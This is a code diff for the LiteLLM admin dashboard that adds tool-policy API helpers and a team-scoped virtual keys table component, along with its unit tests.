+ const url = proxyBaseUrl + ? `${proxyBaseUrl}/v1/tool/${encoded}/detail` + : `/v1/tool/${encoded}/detail`; + const response = await fetch(url, { + method: "GET", headers: { [globalLitellmHeaderName]: `Bearer ${accessToken}`, "Content-Type": "application/json", }, - body: JSON.stringify({ tool_name: toolName, call_policy: callPolicy }), + }); + if (!response.ok) { + const errorData = await response.text(); + throw new Error(errorData); + } + return response.json(); +}; + +export const updateToolPolicy = async ( + accessToken: string, + toolName: string, + policies: { input_policy?: string; output_policy?: string }, + options?: { team_id?: string | null; key_hash?: string | null; key_alias?: string | null } +): Promise => { + const url = proxyBaseUrl ? `${proxyBaseUrl}/v1/tool/policy` : `/v1/tool/policy`; + const body: Record = { + tool_name: toolName, + }; + if (policies.input_policy != null) body.input_policy = policies.input_policy; + if (policies.output_policy != null) body.output_policy = policies.output_policy; + if (options?.team_id != null) body.team_id = options.team_id || undefined; + if (options?.key_hash != null) body.key_hash = options.key_hash || undefined; + if (options?.key_alias != null) body.key_alias = options.key_alias || undefined; + const response = await fetch(url, { + method: "POST", + headers: { + [globalLitellmHeaderName]: `Bearer ${accessToken}`, + "Content-Type": "application/json", + }, + body: JSON.stringify(body), + }); + if (!response.ok) { + const errorData = await response.text(); + throw new Error(errorData); + } + return response.json(); +}; + +export const deleteToolPolicyOverride = async ( + accessToken: string, + toolName: string, + params: { team_id?: string | null; key_hash?: string | null } +): Promise<{ deleted: boolean; tool_name: string }> => { + const encoded = encodeURIComponent(toolName); + const q = new URLSearchParams(); + if (params.team_id != null && params.team_id !== "") q.set("team_id", params.team_id); + if (params.key_hash != null && params.key_hash !== "") q.set("key_hash", params.key_hash); + const query = q.toString(); + const url = proxyBaseUrl + ? `${proxyBaseUrl}/v1/tool/${encoded}/overrides${query ? `?${query}` : ""}` + : `/v1/tool/${encoded}/overrides${query ? `?${query}` : ""}`; + const response = await fetch(url, { + method: "DELETE", + headers: { + [globalLitellmHeaderName]: `Bearer ${accessToken}`, + }, }); if (!response.ok) { const errorData = await response.text(); diff --git a/ui/litellm-dashboard/src/components/team/TeamInfo.test.tsx b/ui/litellm-dashboard/src/components/team/TeamInfo.test.tsx index a5951298557..1be400d328b 100644 --- a/ui/litellm-dashboard/src/components/team/TeamInfo.test.tsx +++ b/ui/litellm-dashboard/src/components/team/TeamInfo.test.tsx @@ -100,12 +100,33 @@ vi.mock("@/app/(dashboard)/hooks/accessGroups/useAccessGroups", () => ({ }), })); +vi.mock("@/app/(dashboard)/hooks/keys/useKeys", () => ({ + useKeys: vi.fn().mockReturnValue({ + data: { keys: [], total_count: 0, current_page: 1, total_pages: 1 }, + isPending: false, + isFetching: false, + refetch: vi.fn(), + }), +})); + +vi.mock("../key_team_helpers/filter_helpers", () => ({ + fetchTeamFilterOptions: vi.fn().mockResolvedValue({ + keyAliases: [], + organizationIds: [], + userIds: [], + }), + fetchAllKeyAliases: vi.fn().mockResolvedValue([]), + fetchAllOrganizations: vi.fn().mockResolvedValue([]), +})); + import { useAllProxyModels } from "@/app/(dashboard)/hooks/models/useModels"; +import { useKeys } from "@/app/(dashboard)/hooks/keys/useKeys"; import { useOrganization } from "@/app/(dashboard)/hooks/organizations/useOrganizations"; import { useTeam } from "@/app/(dashboard)/hooks/teams/useTeams"; import { useCurrentUser } from "@/app/(dashboard)/hooks/users/useCurrentUser"; const mockUseAllProxyModels = vi.mocked(useAllProxyModels); +const mockUseKeys = vi.mocked(useKeys); const mockUseTeam = vi.mocked(useTeam); const mockUseOrganization = vi.mocked(useOrganization); const mockUseCurrentUser = vi.mocked(useCurrentUser); @@ -180,6 +201,12 @@ describe("TeamInfoView", () => { data: { models: [] }, isLoading: false, } as any); + mockUseKeys.mockReturnValue({ + data: { keys: [], total_count: 0, current_page: 1, total_pages: 1 }, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); vi.mocked(networking.getGuardrailsList).mockResolvedValue({ guardrails: [] }); vi.mocked(networking.getPoliciesList).mockResolvedValue({ policies: [] }); @@ -558,10 +585,109 @@ describe("TeamInfoView", () => { renderWithProviders(); await waitFor(() => { - expect(screen.getByText("Virtual Keys")).toBeInTheDocument(); + expect(screen.getByRole("tab", { name: "Virtual Keys" })).toBeInTheDocument(); }); }); + it("should show Virtual Keys tab when user cannot edit team", async () => { + vi.mocked(networking.teamInfoCall).mockResolvedValue(createMockTeamData()); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByRole("tab", { name: "Virtual Keys" })).toBeInTheDocument(); + }); + }); + + it("should display X Members in Virtual Keys tab when navigated to", async () => { + const user = userEvent.setup(); + vi.mocked(networking.teamInfoCall).mockResolvedValue(createMockTeamData()); + const fiveKeys = Array.from({ length: 5 }, (_, i) => ({ + token: `sk-${i}`, + token_id: `key-${i}`, + key_alias: `key_${i}`, + key_name: `sk-...${i}`, + user_id: `user-${i}`, + organization_id: null, + user: { user_id: `user-${i}`, user_email: `user${i}@test.com` }, + created_at: "2024-01-01T00:00:00Z", + team_id: "123", + spend: 0, + max_budget: 100, + models: ["gpt-4"], + })); + mockUseKeys.mockReturnValue({ + data: { keys: fiveKeys, total_count: 5, current_page: 1, total_pages: 1 }, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + const teamNameElements = screen.queryAllByText("Test Team"); + expect(teamNameElements.length).toBeGreaterThan(0); + }); + + const virtualKeysTab = screen.getByRole("tab", { name: "Virtual Keys" }); + await user.click(virtualKeysTab); + + await waitFor(() => { + expect(screen.getByText("5 Members")).toBeInTheDocument(); + }); + }); + + it("should show Filters and pagination controls in Virtual Keys tab", async () => { + const user = userEvent.setup(); + vi.mocked(networking.teamInfoCall).mockResolvedValue(createMockTeamData()); + mockUseKeys.mockReturnValue({ + data: { + keys: [ + { + token: "sk-1", + token_id: "key-1", + key_alias: "key1", + key_name: "sk-...1", + user_id: "user-1", + organization_id: null, + user: { user_id: "user-1", user_email: "user1@test.com" }, + created_at: "2024-01-01T00:00:00Z", + team_id: "123", + spend: 0, + max_budget: 100, + models: ["gpt-4"], + }, + ], + total_count: 1, + current_page: 1, + total_pages: 1, + }, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + const teamNameElements = screen.queryAllByText("Test Team"); + expect(teamNameElements.length).toBeGreaterThan(0); + }); + + const virtualKeysTab = screen.getByRole("tab", { name: "Virtual Keys" }); + await user.click(virtualKeysTab); + + await waitFor(() => { + expect(screen.getByText("1 Member")).toBeInTheDocument(); + }); + expect(screen.getByRole("button", { name: "Filters" })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Reset Filters" })).toBeInTheDocument(); + expect(screen.getByText("Page 1 of 1")).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Previous" })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Next" })).toBeInTheDocument(); + }); + it("should display object permissions when present", async () => { vi.mocked(networking.teamInfoCall).mockResolvedValue( createMockTeamData({ diff --git a/ui/litellm-dashboard/src/components/team/TeamInfo.tsx b/ui/litellm-dashboard/src/components/team/TeamInfo.tsx index ea7a9a1c460..62208b4186d 100644 --- a/ui/litellm-dashboard/src/components/team/TeamInfo.tsx +++ b/ui/litellm-dashboard/src/components/team/TeamInfo.tsx @@ -48,6 +48,7 @@ import { TEAM_INFO_TAB_LABELS, } from "./tabVisibilityUtils"; import TeamMembersComponent from "./TeamMemberTab"; +import { TeamVirtualKeysTable } from "./TeamVirtualKeysTable"; export interface TeamMembership { user_id: string; @@ -726,6 +727,17 @@ const TeamInfoView: React.FC = ({ ), }, + { + key: TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS, + label: TEAM_INFO_TAB_LABELS[TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS], + children: ( + + ), + }, { key: TEAM_INFO_TAB_KEYS.MEMBERS, label: TEAM_INFO_TAB_LABELS[TEAM_INFO_TAB_KEYS.MEMBERS], diff --git a/ui/litellm-dashboard/src/components/team/TeamVirtualKeysTable.test.tsx b/ui/litellm-dashboard/src/components/team/TeamVirtualKeysTable.test.tsx new file mode 100644 index 00000000000..41df5611e07 --- /dev/null +++ b/ui/litellm-dashboard/src/components/team/TeamVirtualKeysTable.test.tsx @@ -0,0 +1,356 @@ +import { screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi, MockedFunction } from "vitest"; +import { renderWithProviders } from "../../../tests/test-utils"; +import { TeamVirtualKeysTable } from "./TeamVirtualKeysTable"; +import { KeysResponse, useKeys } from "@/app/(dashboard)/hooks/keys/useKeys"; +import { fetchTeamFilterOptions } from "../key_team_helpers/filter_helpers"; +import useAuthorized from "@/app/(dashboard)/hooks/useAuthorized"; +import { KeyResponse } from "../key_team_helpers/key_list"; +import { Organization } from "../networking"; + +vi.mock("@/app/(dashboard)/hooks/keys/useKeys", () => ({ + useKeys: vi.fn(), +})); + +vi.mock("@/app/(dashboard)/hooks/useAuthorized", () => ({ + default: vi.fn(), +})); + +vi.mock("../key_team_helpers/filter_helpers", () => ({ + fetchTeamFilterOptions: vi.fn().mockResolvedValue({ + keyAliases: [], + organizationIds: [], + userIds: [], + }), +})); + +vi.mock("../key_team_helpers/fetch_available_models_team_key", () => ({ + getModelDisplayName: vi.fn((model: string) => model), +})); + +vi.mock("../templates/key_info_view", () => ({ + default: vi.fn(({ onClose }: { onClose: () => void }) => ( +
+ Key Info View + +
+ )), +})); + +const mockUseKeys = useKeys as MockedFunction; +const mockUseAuthorized = useAuthorized as MockedFunction; + +const createMockKey = (overrides: Partial = {}): KeyResponse => + ({ + token: "sk-test123", + token_id: "key-1", + key_alias: "alice_key_team1", + key_name: "sk-...abc", + user_id: "user-1", + organization_id: null, + user: { user_id: "user-1", user_email: "alice@example.com" }, + created_at: "2024-01-01T00:00:00Z", + team_id: "team-1", + spend: 0, + max_budget: 100, + models: ["gpt-4"], + ...overrides, + } as KeyResponse); + +const mockOrganization: Organization = { + organization_id: "org-123", + organization_alias: "Test Org", + budget_id: "budget-1", + metadata: {}, + models: [], + spend: 0, + model_spend: {}, + created_at: "", + created_by: "", + updated_at: "", + updated_by: "", + litellm_budget_table: {}, + teams: [], + users: [], + members: [], +}; + +describe("TeamVirtualKeysTable", () => { + const defaultProps = { + teamId: "team-1", + teamAlias: "team1", + organization: null as Organization | null, + }; + + beforeEach(() => { + vi.clearAllMocks(); + mockUseAuthorized.mockReturnValue({ accessToken: "test-token" } as any); + mockUseKeys.mockReturnValue({ + data: { keys: [], total_count: 0, current_page: 1, total_pages: 1 } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + }); + + it("should render successfully", async () => { + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("0 Members")).toBeInTheDocument(); + }); + }); + + it("should display X Members instead of Showing X of Y results", async () => { + mockUseKeys.mockReturnValue({ + data: { + keys: [createMockKey(), createMockKey({ token: "sk-2", token_id: "key-2" })], + total_count: 2, + current_page: 1, + total_pages: 1, + } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("2 Members")).toBeInTheDocument(); + }); + expect(screen.queryByText(/Showing.*results/)).not.toBeInTheDocument(); + }); + + it("should display 1 Member when singular", async () => { + mockUseKeys.mockReturnValue({ + data: { + keys: [createMockKey()], + total_count: 1, + current_page: 1, + total_pages: 1, + } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("1 Member")).toBeInTheDocument(); + }); + }); + + it("should call useKeys with page, pageSize, and expand user for server-side pagination", async () => { + renderWithProviders(); + + await waitFor(() => { + expect(mockUseKeys).toHaveBeenCalledWith( + 1, + 50, + expect.objectContaining({ + teamID: "team-1", + expand: "user", + }) + ); + }); + }); + + it("should enrich keys with organization_id when organization is provided", async () => { + const keyWithoutOrg = createMockKey({ organization_id: null }); + mockUseKeys.mockReturnValue({ + data: { + keys: [keyWithoutOrg], + total_count: 1, + current_page: 1, + total_pages: 1, + } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders( + + ); + + await waitFor(() => { + expect(screen.getByText("1 Member")).toBeInTheDocument(); + }); + // Key with org_id should display in table - org-123 from organization + await waitFor(() => { + expect(screen.getByText("org-123")).toBeInTheDocument(); + }); + }); + + it("should show table with Key ID column header", async () => { + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("0 Members")).toBeInTheDocument(); + }); + expect(screen.getByText("Key ID")).toBeInTheDocument(); + }); + + it("should display keys in table when data is loaded", async () => { + mockUseKeys.mockReturnValue({ + data: { + keys: [ + createMockKey({ key_alias: "alice_key_team1" }), + createMockKey({ token: "sk-2", token_id: "key-2", key_alias: "bob_key_team1" }), + ], + total_count: 2, + current_page: 1, + total_pages: 1, + } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("2 Members")).toBeInTheDocument(); + }); + expect(screen.getByText("alice_key_team1")).toBeInTheDocument(); + expect(screen.getByText("bob_key_team1")).toBeInTheDocument(); + }); + + it("should show Page X of Y when multiple pages exist", async () => { + mockUseKeys.mockReturnValue({ + data: { + keys: [createMockKey()], + total_count: 100, + current_page: 1, + total_pages: 3, + } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("Page 1 of 3")).toBeInTheDocument(); + }); + expect(screen.getByText("100 Members")).toBeInTheDocument(); + }); + + it("should fetch page 2 when Next is clicked", async () => { + const user = userEvent.setup(); + mockUseKeys.mockImplementation((page: number) => ({ + data: { + keys: page === 1 ? [createMockKey()] : [createMockKey({ token: "sk-page2", key_alias: "page2_key" })], + total_count: 100, + current_page: page, + total_pages: 3, + } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any)); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("Page 1 of 3")).toBeInTheDocument(); + }); + + const nextButton = screen.getByRole("button", { name: "Next" }); + await user.click(nextButton); + + await waitFor(() => { + expect(mockUseKeys).toHaveBeenLastCalledWith( + 2, + 50, + expect.objectContaining({ teamID: "team-1" }) + ); + }); + }); + + it("should show Loading keys when isPending", async () => { + mockUseKeys.mockReturnValue({ + data: undefined, + isPending: true, + isFetching: true, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("Loading keys...")).toBeInTheDocument(); + }); + }); + + it("should show No keys found when keys array is empty", async () => { + mockUseKeys.mockReturnValue({ + data: { keys: [], total_count: 0, current_page: 1, total_pages: 1 } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("0 Members")).toBeInTheDocument(); + }); + expect(screen.getByText("No keys found")).toBeInTheDocument(); + }); + + it("should fetch team-scoped filter options for Key Alias, Organization ID, and User ID", async () => { + const mockFetchTeamFilterOptions = vi.mocked(fetchTeamFilterOptions); + mockFetchTeamFilterOptions.mockResolvedValue({ + keyAliases: ["alice_key_team1", "charlie_key_team1"], + organizationIds: ["org-123"], + userIds: [ + { id: "user-1", email: "alice@example.com" }, + { id: "user-2", email: "charlie@example.com" }, + ], + }); + + // Use unique teamId to avoid cache hit from previous tests (refetchOnMount: false) + renderWithProviders( + + ); + + await waitFor(() => { + expect(mockFetchTeamFilterOptions).toHaveBeenCalledWith( + "test-token", + "team-filter-options-test" + ); + }); + }); + + it("should open Key Info View when key is clicked", async () => { + mockUseKeys.mockReturnValue({ + data: { + keys: [createMockKey({ token: "sk-click-me", key_alias: "clickable_key" })], + total_count: 1, + current_page: 1, + total_pages: 1, + } as KeysResponse, + isPending: false, + isFetching: false, + refetch: vi.fn(), + } as any); + + renderWithProviders(); + + await waitFor(() => { + expect(screen.getByText("clickable_key")).toBeInTheDocument(); + }); + + const keyButton = screen.getByRole("button", { name: /sk-click-me|clickable_key/ }); + await userEvent.click(keyButton); + + await waitFor(() => { + expect(screen.getByText("Key Info View")).toBeInTheDocument(); + }); + }); +}); diff --git a/ui/litellm-dashboard/src/components/team/TeamVirtualKeysTable.tsx b/ui/litellm-dashboard/src/components/team/TeamVirtualKeysTable.tsx new file mode 100644 index 00000000000..5d76b99ef91 --- /dev/null +++ b/ui/litellm-dashboard/src/components/team/TeamVirtualKeysTable.tsx @@ -0,0 +1,778 @@ +// TO-DO: Standardize tables eventually + +"use client"; +import { useKeys } from "@/app/(dashboard)/hooks/keys/useKeys"; +import { formatNumberWithCommas } from "@/utils/dataUtils"; +import { ChevronDownIcon, ChevronRightIcon, ChevronUpIcon, SwitchVerticalIcon } from "@heroicons/react/outline"; +import { + ColumnDef, + flexRender, + getCoreRowModel, + PaginationState, + SortingState, + useReactTable, +} from "@tanstack/react-table"; +import { + Badge, + Button, + Icon, + Table, + TableBody, + TableCell, + TableHead, + TableHeaderCell, + TableRow, + Text, +} from "@tremor/react"; +import { InfoCircleOutlined } from "@ant-design/icons"; +import { Popover, Skeleton, Tooltip } from "antd"; +import React, { useCallback, useEffect, useMemo, useState } from "react"; +import { getModelDisplayName } from "../key_team_helpers/fetch_available_models_team_key"; +import { KeyResponse, Team } from "../key_team_helpers/key_list"; +import FilterComponent, { FilterOption } from "../molecules/filter"; +import { Organization } from "../networking"; +import KeyInfoView from "../templates/key_info_view"; +import { useQuery } from "@tanstack/react-query"; +import { fetchTeamFilterOptions } from "../key_team_helpers/filter_helpers"; +import useAuthorized from "@/app/(dashboard)/hooks/useAuthorized"; + +interface TeamVirtualKeysTableProps { + teamId: string; + teamAlias?: string; + organization: Organization | null; +} + +/** + * TeamVirtualKeysTable – variant of VirtualKeysTable scoped to a single team. + * Displays all virtual keys belonging to the team with same format and styling. + */ +export function TeamVirtualKeysTable({ teamId, teamAlias, organization }: TeamVirtualKeysTableProps) { + const { accessToken } = useAuthorized(); + const [selectedKey, setSelectedKey] = useState(null); + const [sorting, setSorting] = useState([ + { id: "created_at", desc: true }, + ]); + const [tablePagination, setTablePagination] = useState({ + pageIndex: 0, + pageSize: 50, + }); + const [filters, setFilters] = useState>({ + "Organization ID": "", + "Key Alias": "", + "User ID": "", + "Sort By": "created_at", + "Sort Order": "desc", + }); + + const sortBy = sorting.length > 0 ? sorting[0].id : "created_at"; + const sortOrder = sorting.length > 0 ? (sorting[0].desc ? "desc" : "asc") : "desc"; + + const pageIndex = tablePagination.pageIndex; + const pageSize = tablePagination.pageSize; + + const { + data: keys, + isPending: isLoading, + isFetching, + refetch, + } = useKeys(pageIndex + 1, pageSize, { + teamID: teamId, + organizationID: filters["Organization ID"]?.trim() || undefined, + selectedKeyAlias: filters["Key Alias"]?.trim() || undefined, + userID: filters["User ID"]?.trim() || undefined, + sortBy: sortBy || undefined, + sortOrder: sortOrder || undefined, + expand: "user", + }); + + const displayKeys = useMemo(() => { + const kList = keys?.keys || []; + const orgId = organization?.organization_id; + if (!orgId) return kList; + return kList.map((k: KeyResponse) => ({ + ...k, + organization_id: k.organization_id || orgId, + })); + }, [keys?.keys, organization?.organization_id]); + + const totalCount = keys?.total_count ?? 0; + const pageCount = keys?.total_pages ?? 0; + const [expandedAccordions, setExpandedAccordions] = useState>({}); + + const currentTeam: Team = useMemo( + () => ({ + team_id: teamId, + team_alias: teamAlias || teamId, + models: [], + max_budget: null, + budget_duration: null, + tpm_limit: null, + rpm_limit: null, + organization_id: organization?.organization_id || "", + created_at: "", + keys: [], + members_with_roles: [], + spend: 0, + }), + [teamId, teamAlias, organization], + ); + + const teamFilterOptionsQuery = useQuery({ + queryKey: ["teamFilterOptions", teamId, accessToken], + queryFn: async () => fetchTeamFilterOptions(accessToken, teamId), + enabled: !!accessToken && !!teamId, + staleTime: 30000, // 30 seconds - align with useKeys + }); + const teamFilterOptions = teamFilterOptionsQuery.data || { + keyAliases: [], + organizationIds: [], + userIds: [], + }; + + const handleStorageChange = useCallback(() => { + refetch?.(); + }, [refetch]); + + useEffect(() => { + window.addEventListener("storage", handleStorageChange); + return () => window.removeEventListener("storage", handleStorageChange); + }, [handleStorageChange]); + + const handleFilterChange = useCallback((newFilters: Record, skipDebounce = false) => { + setFilters((prev) => ({ + ...prev, + "Organization ID": newFilters["Organization ID"] ?? prev["Organization ID"], + "Key Alias": newFilters["Key Alias"] ?? prev["Key Alias"], + "User ID": newFilters["User ID"] ?? prev["User ID"], + "Sort By": newFilters["Sort By"] ?? prev["Sort By"] ?? "created_at", + "Sort Order": newFilters["Sort Order"] ?? prev["Sort Order"] ?? "desc", + })); + if (!skipDebounce) { + setTablePagination((prev) => ({ ...prev, pageIndex: 0 })); + } + }, []); + + const handleFilterReset = useCallback(() => { + setFilters({ + "Organization ID": "", + "Key Alias": "", + "User ID": "", + "Sort By": "created_at", + "Sort Order": "desc", + }); + setTablePagination((prev) => ({ ...prev, pageIndex: 0 })); + }, []); + + const filterOptions: FilterOption[] = useMemo( + () => [ + { + name: "Organization ID", + label: "Organization ID", + isSearchable: true, + searchFn: async (searchText: string) => { + const { organizationIds } = teamFilterOptions; + if (!organizationIds.length) return []; + const lower = searchText.toLowerCase(); + const filtered = lower + ? organizationIds.filter((id) => id.toLowerCase().includes(lower)) + : organizationIds; + return filtered.map((id) => ({ label: id, value: id })); + }, + }, + { + name: "Key Alias", + label: "Key Alias", + isSearchable: true, + searchFn: async (searchText: string) => { + const { keyAliases } = teamFilterOptions; + const lower = searchText.toLowerCase(); + const filtered = lower + ? keyAliases.filter((alias) => alias.toLowerCase().includes(lower)) + : keyAliases; + return filtered.map((alias) => ({ label: alias, value: alias })); + }, + }, + { + name: "User ID", + label: "User ID", + isSearchable: true, + searchFn: async (searchText: string) => { + const { userIds } = teamFilterOptions; + const lower = searchText.toLowerCase(); + const filtered = lower + ? userIds.filter( + (u) => + u.id.toLowerCase().includes(lower) || u.email.toLowerCase().includes(lower), + ) + : userIds; + return filtered.map((u) => ({ + label: u.email ? `${u.id} (${u.email})` : u.id, + value: u.id, + })); + }, + }, + ], + [teamFilterOptions], + ); + + const columns: ColumnDef[] = useMemo( + () => [ + { + id: "token", + accessorKey: "token", + header: "Key ID", + size: 100, + enableSorting: true, + cell: (info) => { + const value = info.getValue() as string; + const width = info.cell.column.getSize(); + return ( + + + + ); + }, + }, + { + id: "key_alias", + accessorKey: "key_alias", + header: "Key Alias", + size: 150, + enableSorting: true, + cell: (info) => { + const value = info.getValue() as string; + const width = info.cell.column.getSize(); + return ( + + + {value ?? "-"} + + + ); + }, + }, + { + id: "key_name", + accessorKey: "key_name", + header: "Secret Key", + size: 120, + enableSorting: false, + cell: (info) => {info.getValue() as string}, + }, + { + id: "organization_id", + accessorKey: "organization_id", + header: "Organization ID", + size: 140, + enableSorting: false, + cell: (info) => (info.getValue() ? info.renderValue() : "-"), + }, + { + id: "user_email", + accessorKey: "user", + header: "User Email", + size: 160, + enableSorting: false, + cell: (info) => { + const user = info.getValue() as { user_email?: string } | undefined; + const value = user?.user_email; + const width = info.cell.column.getSize(); + return ( + + + {value ?? "-"} + + + ); + }, + }, + { + id: "user_id", + accessorKey: "user_id", + header: "User ID", + size: 70, + enableSorting: false, + cell: (info) => { + const userId = info.getValue() as string | null; + const displayValue = userId === "default_user_id" ? "Default Proxy Admin" : userId; + const width = info.cell.column.getSize(); + return ( + + + {displayValue ?? "-"} + + + ); + }, + }, + { + id: "created_at", + accessorKey: "created_at", + header: "Created At", + size: 120, + enableSorting: true, + cell: (info) => { + const value = info.getValue(); + return value ? new Date(value as string).toLocaleDateString() : "-"; + }, + }, + { + id: "created_by", + accessorKey: "created_by", + header: "Created By", + size: 70, + enableSorting: false, + cell: (info) => { + const value = info.getValue() as string | null; + const displayValue = value === "default_user_id" ? "Default Proxy Admin" : value; + const width = info.cell.column.getSize(); + return ( + + + {displayValue ?? "-"} + + + ); + }, + }, + { + id: "updated_at", + accessorKey: "updated_at", + header: "Updated At", + size: 120, + enableSorting: true, + cell: (info) => { + const value = info.getValue(); + return value ? new Date(value as string).toLocaleDateString() : "Never"; + }, + }, + { + id: "last_active", + accessorKey: "last_active", + header: () => ( + + Last Active + + + + + ), + size: 130, + enableSorting: false, + cell: (info) => { + const value = info.getValue(); + if (!value) return "Unknown"; + const date = new Date(value as string); + return ( + + {date.toLocaleDateString()} + + ); + }, + }, + { + id: "expires", + accessorKey: "expires", + header: "Expires", + size: 120, + enableSorting: false, + cell: (info) => { + const value = info.getValue(); + return value ? new Date(value as string).toLocaleDateString() : "Never"; + }, + }, + { + id: "spend", + accessorKey: "spend", + header: "Spend (USD)", + size: 100, + enableSorting: true, + cell: (info) => formatNumberWithCommas(info.getValue() as number, 4), + }, + { + id: "max_budget", + accessorKey: "max_budget", + header: "Budget (USD)", + size: 110, + enableSorting: true, + cell: (info) => { + const maxBudget = info.getValue() as number | null; + if (maxBudget === null) return "Unlimited"; + return `$${formatNumberWithCommas(maxBudget)}`; + }, + }, + { + id: "budget_reset_at", + accessorKey: "budget_reset_at", + header: "Budget Reset", + size: 130, + enableSorting: false, + cell: (info) => { + const value = info.getValue(); + return value ? new Date(value as string).toLocaleString() : "Never"; + }, + }, + { + id: "models", + accessorKey: "models", + header: "Models", + size: 200, + enableSorting: false, + cell: (info) => { + const models = info.getValue() as string[]; + return ( +
+ {Array.isArray(models) ? ( +
+ {models.length === 0 ? ( + + All Proxy Models + + ) : ( + <> +
+ {models.length > 3 && ( +
+ + setExpandedAccordions((prev) => ({ + ...prev, + [info.row.id]: !prev[info.row.id], + })) + } + /> +
+ )} +
+ {models.slice(0, 3).map((model, index) => + model === "all-proxy-models" ? ( + + All Proxy Models + + ) : ( + + + {model.length > 30 + ? `${getModelDisplayName(model).slice(0, 30)}...` + : getModelDisplayName(model)} + + + ), + )} + {models.length > 3 && !expandedAccordions[info.row.id] && ( + + + +{models.length - 3} {models.length - 3 === 1 ? "more model" : "more models"} + + + )} + {expandedAccordions[info.row.id] && ( +
+ {models.slice(3).map((model, index) => + model === "all-proxy-models" ? ( + + All Proxy Models + + ) : ( + + + {model.length > 30 + ? `${getModelDisplayName(model).slice(0, 30)}...` + : getModelDisplayName(model)} + + + ), + )} +
+ )} +
+
+ + )} +
+ ) : null} +
+ ); + }, + }, + { + id: "rate_limits", + header: "Rate Limits", + size: 140, + enableSorting: false, + cell: ({ row }) => { + const key = row.original; + return ( +
+
TPM: {key.tpm_limit !== null ? key.tpm_limit : "Unlimited"}
+
RPM: {key.rpm_limit !== null ? key.rpm_limit : "Unlimited"}
+
+ ); + }, + }, + ], + [expandedAccordions], + ); + + const handleSortingChange = useCallback( + (updaterOrValue: React.SetStateAction) => { + const newSorting = + typeof updaterOrValue === "function" ? updaterOrValue(sorting) : updaterOrValue; + setSorting(newSorting); + if (newSorting?.length > 0) { + const sortState = newSorting[0]; + handleFilterChange( + { + "Sort By": sortState.id, + "Sort Order": sortState.desc ? "desc" : "asc", + }, + true, + ); + } + }, + [sorting, handleFilterChange], + ); + + const table = useReactTable({ + data: displayKeys, + columns, + columnResizeMode: "onChange", + columnResizeDirection: "ltr", + state: { sorting, pagination: tablePagination }, + onSortingChange: handleSortingChange, + onPaginationChange: setTablePagination, + getCoreRowModel: getCoreRowModel(), + // getSortedRowModel not needed — manualSorting: true delegates sorting to the server + enableSorting: true, + manualSorting: true, // Server sorts via useKeys. Avoid redundant client-side sort + manualPagination: true, + pageCount: pageCount, + }); + + return ( +
+ {selectedKey ? ( + setSelectedKey(null)} + keyData={selectedKey} + teams={[currentTeam]} + onDelete={refetch} + /> + ) : ( +
+
+ +
+ +
+ {isLoading || isFetching ? ( + + ) : ( + + {totalCount} Member{totalCount !== 1 ? "s" : ""} + + )} + +
+ {isLoading || isFetching ? ( + + ) : ( + + Page {pageIndex + 1} of {table.getPageCount()} + + )} + + {isLoading || isFetching ? ( + + ) : ( + + )} + + {isLoading || isFetching ? ( + + ) : ( + + )} +
+
+
+
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + { + const resizer = document.querySelector( + `[data-header-id="${header.id}"] .resizer`, + ); + if (resizer) (resizer as HTMLElement).style.opacity = "0.5"; + }} + onMouseLeave={() => { + const resizer = document.querySelector( + `[data-header-id="${header.id}"] .resizer`, + ); + if (resizer && !header.column.getIsResizing()) + (resizer as HTMLElement).style.opacity = "0"; + }} + onClick={ + header.column.getCanSort() + ? header.column.getToggleSortingHandler() + : undefined + } + > +
+
+ {header.isPlaceholder + ? null + : flexRender(header.column.columnDef.header, header.getContext())} +
+ {header.id !== "actions" && header.column.getCanSort() && ( +
+ {header.column.getIsSorted() ? ( + { + asc: , + desc: , + }[header.column.getIsSorted() as string] + ) : ( + + )} +
+ )} +
header.column.resetSize()} + onMouseDown={header.getResizeHandler()} + onTouchStart={header.getResizeHandler()} + className={`resizer ${table.options.columnResizeDirection} ${ + header.column.getIsResizing() ? "isResizing" : "" + }`} + style={{ + position: "absolute", + right: 0, + top: 0, + height: "100%", + width: "5px", + background: header.column.getIsResizing() ? "#3b82f6" : "transparent", + cursor: "col-resize", + userSelect: "none", + touchAction: "none", + opacity: header.column.getIsResizing() ? 1 : 0, + }} + /> +
+ + ))} + + ))} + + + {isLoading || isFetching ? ( + + +
+

Loading keys...

+
+ + + ) : displayKeys.length > 0 ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + 3 + ? "px-0" + : "" + }`} + > + {flexRender(cell.column.columnDef.cell, cell.getContext())} + + ))} + + )) + ) : ( + + +
+

No keys found

+
+ + + )} + +
+
+
+
+
+ )} +
